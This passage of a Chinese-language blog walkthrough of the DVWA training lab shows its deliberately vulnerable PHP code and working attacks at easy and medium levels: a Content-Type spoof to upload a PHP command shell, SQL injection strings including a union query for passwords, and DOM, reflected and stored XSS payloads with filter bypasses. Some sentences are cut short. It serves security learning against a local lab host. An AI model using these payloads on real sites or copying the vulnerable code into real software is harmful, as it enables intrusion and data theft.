> < span class = "line" > < span class = "keyword" > echo< / span > < span class = "string" > '< pre> Your image was not uploaded.< /pre> '< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < span class = "keyword" > else< / span > { < / span > < br > < span class = "line" > < span class = "comment" > // Yes!< / span > < / span > < br > < span class = "line" > < span class = "keyword" > echo< / span > < span class = "string" > "< pre> { $target_path} succesfully uploaded!< /pre> "< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "meta" > ?> < / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h2 id = "medium模式-4" > < a href = "#medium模式-4" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 增加了对文件类型和大小的过滤，只允许图片上传< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > // File information< / span > < br > < span class = "line" > $uploaded_name = $_FILES[ ' uploaded' ][ ' name' ];< / span > < br > < span class = "line" > $uploaded_type = $_FILES[ ' uploaded' ][ ' type' ];< / span > < br > < span class = "line" > $uploaded_size = $_FILES[ ' uploaded' ][ ' size' ];< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > // Is it an image?< / span > < br > < span class = "line" > if( ( $uploaded_type == " image/jpeg" || $uploaded_type == " image/png" ) & & < / span > < br > < span class = "line" > ( $uploaded_size < 100000 ) ) { < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 用burpsuite拦截修改Content-Type: application/octet-stream为Content-Type: image/jpeg。成功上传： < br > < a href = "http://192.168.31.84:81/hackable/uploads/1.php?cmd=ls" target = "_blank" rel = "noopener" > http://192.168.31.84:81/hackable/uploads/1.php?cmd=ls< / a > < / p >
< h1 id = "SQL注入" > < a href = "#SQL注入" class = "headerlink" title = "SQL注入" > < / a > SQL注入< / h1 > < h2 id = "easy模式-5" > < a href = "#easy模式-5" class = "headerlink" title = "easy模式" > < / a > easy模式< / h2 > < blockquote >
< p > SQL注入攻击包括通过从客户端到应用程序的输入数据插入或“注入”SQL查询。成功的SQL注入攻击可以从数据库中读取敏感数据， （ ） ， （ ） ， （ ） ， < br > SQL注入攻击是一种注入攻击， ， < br > 这种攻击也可称为“SQLi”。< / p >
< / blockquote >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < ?php< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > if( isset( $_REQUEST[ ' Submit' ] ) ) { < / span > < br > < span class = "line" > // Get input< / span > < br > < span class = "line" > $id = $_REQUEST[ ' id' ];< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > // Check database< / span > < br > < span class = "line" > $query = " SELECT first_name, last_name FROM users WHERE user_id = ' $id' ;" ;< / span > < br > < span class = "line" > $result = mysqli_query($GLOBALS[" ___mysqli_ston" ], $query ) or die( ' < pre> ' . ((is_object($GLOBALS[" ___mysqli_ston" ])) ? mysqli_error($GLOBALS[" ___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ' < /pre> ' );< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > // Get results< / span > < br > < span class = "line" > while( $row = mysqli_fetch_assoc( $result ) ) { < / span > < br > < span class = "line" > // Get values< / span > < br > < span class = "line" > $first = $row[" first_name" ];< / span > < br > < span class = "line" > $last = $row[" last_name" ];< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > // Feedback for end user< / span > < br > < span class = "line" > echo " < pre> ID: { $id} < br /> First name: { $first} < br /> Surname: { $last} < /pre> " ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > mysqli_close($GLOBALS[" ___mysqli_ston" ]);< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > ?> < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 在做查询操作时，未对$id做任何限制， ， < / p >
< p > 原SELECT语句< br > < code > SELECT first_name, last_name FROM users WHERE user_id = ' $id' ;< / code > < br > 中的$id可以任意输入。< br > 当输入$id=123’ ， < br > < code > SELECT first_name, last_name FROM users WHERE user_id = ' 123' OR 1=1#' ;< / code > < br > 此时最后一个引号被#注释， ， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > ID: 123' OR 1=1#< / span > < br > < span class = "line" > First name: admin< / span > < br > < span class = "line" > Surname: admin< / span > < br > < span class = "line" > ID: 123' OR 1=1#< / span > < br > < span class = "line" > First name: Gordon< / span > < br > < span class = "line" > Surname: Brown< / span > < br > < span class = "line" > ID: 123' OR 1=1#< / span > < br > < span class = "line" > First name: Hack< / span > < br > < span class = "line" > Surname: Me< / span > < br > < span class = "line" > ID: 123' OR 1=1#< / span > < br > < span class = "line" > First name: Pablo< / span > < br > < span class = "line" > Surname: Picasso< / span > < br > < span class = "line" > ID: 123' OR 1=1#< / span > < br > < span class = "line" > First name: Bob< / span > < br > < span class = "line" > Surname: Smith< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 那如果想要得到密码该怎么做， ， < br > < code > $id=123' or 1=1# union SELECT first_name,password FROM< / code > < br > 但貌似表里没有password< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > users< / span > < br > < span class = "line" > ID: 123' or 1=1# union SELECT first_name,password FROM users< / span > < br > < span class = "line" > First name: admin< / span > < br > < span class = "line" > Surname: admin< / span > < br > < span class = "line" > ID: 123' or 1=1# union SELECT first_name,password FROM users< / span > < br > < span class = "line" > First name: Gordon< / span > < br > < span class = "line" > Surname: Brown< / span > < br > < span class = "line" > ID: 123' or 1=1# union SELECT first_name,password FROM users< / span > < br > < span class = "line" > First name: Hack< / span > < br > < span class = "line" > Surname: Me< / span > < br > < span class = "line" > ID: 123' or 1=1# union SELECT first_name,password FROM users< / span > < br > < span class = "line" > First name: Pablo< / span > < br > < span class = "line" > Surname: Picasso< / span > < br > < span class = "line" > ID: 123' or 1=1# union SELECT first_name,password FROM users< / span > < br > < span class = "line" > First name: Bob< / span > < br > < span class = "line" > Surname: Smith< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h2 id = "medium模式-5" > < a href = "#medium模式-5" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 前端只能选择，前源码过滤了字符< br > < code > $id = mysqli_real_escape_string($GLOBALS[" ___mysqli_ston" ], $id);< / code > < br > 其中受影响的字符如下：< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > \x00< / span > < br > < span class = "line" > \n< / span > < br > < span class = "line" > \r< / span > < br > < span class = "line" > \< / span > < br > < span class = "line" > ' < / span > < br > < span class = "line" > " < / span > < br > < span class = "line" > \x1a< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 但由于其为字符型注入，因此防御手段形同虚设< br > 构造id=1 or 1=1#即得到所有用户信息< / p >
< h1 id = "SQL盲注" > < a href = "#SQL盲注" class = "headerlink" title = "SQL盲注" > < / a > SQL盲注< / h1 > < blockquote >
< p > 盲注， ， ， ， ， < br > 1.判断是否存在注入，注入是字符型还是数字型< br > 2.猜解当前数据库名< br > 3.猜解数据库中的表名< br > 4.猜解表中的字段名< br > 5.猜解数据< / p >
< / blockquote >
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< figure class = "highlight php" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > < ?php< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ( < span class = "keyword" > isset< / span > ( $_GET[ < span class = "string" > 'Submit'< / span > ] ) ) { < / span > < br > < span class = "line" > < span class = "comment" > // Get input< / span > < / span > < br > < span class = "line" > $id = $_GET[ < span class = "string" > 'id'< / span > ];< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Check database< / span > < / span > < br > < span class = "line" > $getid = < span class = "string" > "SELECT first_name, last_name FROM users WHERE user_id = '$id';"< / span > ;< / span > < br > < span class = "line" > $result = mysqli_query($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ], $getid ); < span class = "comment" > // Removed 'or die' to suppress mysql errors< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Get results< / span > < / span > < br > < span class = "line" > $num = @mysqli_num_rows( $result ); < span class = "comment" > // The '@' character suppresses errors< / span > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ( $num > < span class = "number" > 0< / span > ) { < / span > < br > < span class = "line" > < span class = "comment" > // Feedback for end user< / span > < / span > < br > < span class = "line" > < span class = "keyword" > echo< / span > < span class = "string" > '< pre> User ID exists in the database.< /pre> '< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < span class = "keyword" > else< / span > { < / span > < br > < span class = "line" > < span class = "comment" > // User wasn't found, so the page wasn't!< / span > < / span > < br > < span class = "line" > header( $_SERVER[ < span class = "string" > 'SERVER_PROTOCOL'< / span > ] . < span class = "string" > ' 404 Not Found'< / span > );< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Feedback for end user< / span > < / span > < br > < span class = "line" > < span class = "keyword" > echo< / span > < span class = "string" > '< pre> User ID is MISSING from the database.< /pre> '< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > ((is_null($___mysqli_res = mysqli_close($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ]))) ? < span class = "keyword" > false< / span > : $___mysqli_res);< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "meta" > ?> < / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
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< p > 查看源码发现还是没有对id做过滤， ， < / p >
< p > 盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。< br > 如果手工盲注的话， ： < br > < a href = "https://www.freebuf.com/articles/web/120985.html" target = "_blank" rel = "noopener" > https://www.freebuf.com/articles/web/120985.html< / a > < br > 如果自动盲注的话， ， ： < br > < a href = "https://www.jianshu.com/p/ec2ca79e74b2" target = "_blank" rel = "noopener" > https://www.jianshu.com/p/ec2ca79e74b2< / a > < / p >
< h1 id = "弱session-id" > < a href = "#弱session-id" class = "headerlink" title = "弱session-id" > < / a > 弱session-id< / h1 > < h2 id = "easy模式-6" > < a href = "#easy模式-6" class = "headerlink" title = "easy模式" > < / a > easy模式< / h2 > < p > session-ID通常是在登录后作为特定用户访问站点所需的唯一内容， ， ， < / p >
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< p > 根据源码可以看出来session每次加1< br > < figure class = "highlight php" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > < ?php< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > $html = < span class = "string" > ""< / span > ;< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ($_SERVER[< span class = "string" > 'REQUEST_METHOD'< / span > ] == < span class = "string" > "POST"< / span > ) { < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > (!< span class = "keyword" > isset< / span > ($_SESSION[< span class = "string" > 'last_session_id'< / span > ])) { < / span > < br > < span class = "line" > $_SESSION[< span class = "string" > 'last_session_id'< / span > ] = < span class = "number" > 0< / span > ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > $_SESSION[< span class = "string" > 'last_session_id'< / span > ]++;< / span > < br > < span class = "line" > $cookie_value = $_SESSION[< span class = "string" > 'last_session_id'< / span > ];< / span > < br > < span class = "line" > setcookie(< span class = "string" > "dvwaSession"< / span > , $cookie_value);< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < span class = "meta" > ?> < / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< p > 按f12看application-cookies也能发现这个规律。< br > 然后使用hackbar这个扩展程序攻击。< / p >
< h2 id = "medium模式-6" > < a href = "#medium模式-6" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 从源码中可以看到dvwaSession就是时间戳< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < ?php< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > $html = " " ;< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > if ($_SERVER[' REQUEST_METHOD' ] == " POST" ) { < / span > < br > < span class = "line" > $cookie_value = time();< / span > < br > < span class = "line" > setcookie(" dvwaSession" , $cookie_value);< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > ?> < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h1 id = "基于DOM的XSS" > < a href = "#基于DOM的XSS" class = "headerlink" title = "基于DOM的XSS" > < / a > 基于DOM的XSS< / h1 > < h2 id = "easy模式-7" > < a href = "#easy模式-7" class = "headerlink" title = "easy模式" > < / a > easy模式< / h2 > < blockquote >
< p > “跨站点脚本（ ） ， （ ） ， ， ， < / p >
< p > 攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任， ， ， < / p >
< p > 基于DOM的XSS是一个特殊情况， ， < / p >
< / blockquote >
< p > 查看页面源代码< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < / span > < br > < span class = "line" > < script> < / span > < br > < span class = "line" > if (document.location.href.indexOf(" default=" ) > = 0) { < / span > < br > < span class = "line" > var lang = document.location.href.substring(document.location.href.indexOf(" default=" )+8);< / span > < br > < span class = "line" > document.write(" < option value=' " + lang + " ' > " + decodeURI(lang) + " < /option> " );< / span > < br > < span class = "line" > document.write(" < option value=' ' disabled=' disabled' > ----< /option> " );< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > document.write(" < option value=' English' > English< /option> " );< / span > < br > < span class = "line" > document.write(" < option value=' French' > French< /option> " );< / span > < br > < span class = "line" > document.write(" < option value=' Spanish' > Spanish< /option> " );< / span > < br > < span class = "line" > document.write(" < option value=' German' > German< /option> " );< / span > < br > < span class = "line" > < /script> < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< ul >
< li > indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。< / li >
< li > substring() 方法用于提取字符串中介于两个指定下标之间的字符。< / li >
< li > decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码< / li >
< li > 所以lang被赋值为”default=”之后的字串， ， < / li >
< / ul >
< p > < code > http://192.168.31.84:81/vulnerabilities/xss_d/?default=English< script> alert(document.cookie)< /script> < / code > < br > 这个uri被用户点击之后会被弹窗， ， < / p >
< h2 id = "medium模式-7" > < a href = "#medium模式-7" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 相对于easy模式增加了对script的过滤< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > # Do not allow script tags< / span > < br > < span class = "line" > if (stripos ($default, " < script" ) !== false) { < / span > < br > < span class = "line" > header (" location: ?default=English" );< / span > < br > < span class = "line" > exit;< / span > < br > < span class = "line" > } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 绕过有两种方式< / p >
< ol >
< li > 方式1< br > url中有一个字符为#，该字符后的数据不会发送到服务器端，从而绕过服务端过滤< br > < code > http://192.168.31.84:81/vulnerabilities/xss_d/?default=English#< script> alert(document.cookie)< /script> < / code > < / li >
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< li > 方法2< br > 或者就是用img标签或其他标签的特性去执行js代码， ， ， < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < / span > < br > < span class = "line" > # 反射型xss< / span > < br > < span class = "line" > ## easy模式< / span > < br > < span class = "line" > > 反射型（ ） ： ， < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 查看源码，服务器直接把客户端的输入返回回来显示< / span > < br > < span class = "line" > ```php< / span > < br > < span class = "line" > < ?php< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > header (" X-XSS-Protection: 0" );< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > // Is there any input?< / span > < br > < span class = "line" > if( array_key_exists( " name" , $_GET ) & & $_GET[ ' name' ] != NULL ) { < / span > < br > < span class = "line" > // Feedback for end user< / span > < br > < span class = "line" > echo ' < pre> Hello ' . $_GET[ ' name' ] . ' < /pre> ' ;< / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > ?> < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< / li >
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< / ol >
< p > < a href = "http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E" target = "_blank" rel = "noopener" > http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E< / a > < / p >
< h2 id = "medium模式-8" > < a href = "#medium模式-8" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 源码里检查了script标签< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > // Get input< / span > < br > < span class = "line" > $name = str_replace( ' < script> ' , ' ' , $_GET[ ' name' ] );< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< p > str_replace这个函数是不区分大小写的， < br > 改成大写就可以了< code > < SCRIPT> alert(' xss' )< /script> < / code > < br > 或者嵌套< code > < scr< script> ipt> alert(' xss' )< /script> < / code > < / p >
< p > 但对name审查没有这么严格， ： < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < scr< script> ipt> alert(' fuck' )< /script> < / span > < br > < span class = "line" > < SCRIPT> alert(' fuck' )< /script> < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h1 id = "存储型xss" > < a href = "#存储型xss" class = "headerlink" title = "存储型xss" > < / a > 存储型xss< / h1 > < h2 id = "easy模式-8" > < a href = "#easy模式-8" class = "headerlink" title = "easy模式" > < / a > easy模式< / h2 > < blockquote >
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< p > “跨站点脚本（ ） ， （ ） ， ， ， < / p >
< p > 攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任， ， ， < / p >
< p > XSS存储在数据库中。 XSS是永久性的， < / p >
< / blockquote >
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< p > 查看源码< br > trim是去除掉用户输入内容前后的空格。stripslashes是去除反斜杠， ， ’ ， < br > < figure class = "highlight php" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "meta" > < ?php< / span > < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "keyword" > if< / span > ( < span class = "keyword" > isset< / span > ( $_POST[ < span class = "string" > 'btnSign'< / span > ] ) ) { < / span > < br > < span class = "line" > < span class = "comment" > // Get input< / span > < / span > < br > < span class = "line" > $message = trim( $_POST[ < span class = "string" > 'mtxMessage'< / span > ] );< / span > < br > < span class = "line" > $name = trim( $_POST[ < span class = "string" > 'txtName'< / span > ] );< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Sanitize message input< / span > < / span > < br > < span class = "line" > $message = stripslashes( $message );< / span > < br > < span class = "line" > $message = ((< span class = "keyword" > isset< / span > ($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ]) & & is_object($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ])) ? mysqli_real_escape_string($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ], $message ) : ((trigger_error(< span class = "string" > "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."< / span > , E_USER_ERROR)) ? < span class = "string" > ""< / span > : < span class = "string" > ""< / span > ));< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Sanitize name input< / span > < / span > < br > < span class = "line" > $name = ((< span class = "keyword" > isset< / span > ($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ]) & & is_object($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ])) ? mysqli_real_escape_string($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ], $name ) : ((trigger_error(< span class = "string" > "[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."< / span > , E_USER_ERROR)) ? < span class = "string" > ""< / span > : < span class = "string" > ""< / span > ));< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > // Update database< / span > < / span > < br > < span class = "line" > $query = < span class = "string" > "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"< / span > ;< / span > < br > < span class = "line" > $result = mysqli_query($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ], $query ) < span class = "keyword" > or< / span > < span class = "keyword" > die< / span > ( < span class = "string" > '< pre> '< / span > . ((is_object($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ])) ? mysqli_error($GLOBALS[< span class = "string" > "___mysqli_ston"< / span > ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : < span class = "keyword" > false< / span > )) . < span class = "string" > '< /pre> '< / span > );< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "comment" > //mysql_close();< / span > < / span > < br > < span class = "line" > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "meta" > ?> < / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< p > 插入之后会成为页面的元素显示出来< br > < code > < div id=" guestbook_comments" > Name: 11< br /> Message: 111< br /> < /div> < / code > < br > 看一下提交的方式：< br > < code > txtName=22& mtxMessage=222& btnSign=Sign+Guestbook< / code > < br > 直接插入script语句， < code > txtName=22< script> alert(1)< /script> & mtxMessage=222& btnSign=Sign+Guestbook< / code > < / p >
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< h2 id = "medium模式-9" > < a href = "#medium模式-9" class = "headerlink" title = "medium模式" > < / a > medium模式< / h2 > < p > 源码中增加了几个函数的使用：< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > * $message = strip_tags(addslashes($message)); 剥去字符串中的 HTML、XML 以及 PHP 的标签。< / span > < br > < span class = "line" > * $message = htmlspecialchars( $message ); 把预定义的字符 " < " （小于）和 " > " （大于）转换为 HTML 实体：< / span > < br > < span class = "line" > * $name = str_replace( ' < script> ' , ' ' , $name );< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< h1 id = "绕过安全策略" > < a href = "#绕过安全策略" class = "headerlink" title = "绕过安全策略" > < / a > 绕过安全策略< / h1 > < h2 id = "easy模式-9" > < a href = "#easy模式-9" class = "headerlink" title = "easy模式" > < / a > easy模式< / h2 > < blockquote >
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< p > 内容安全策略（ ） < br > 这些漏洞都不是CSP中的实际漏洞， < / p >
< / blockquote >
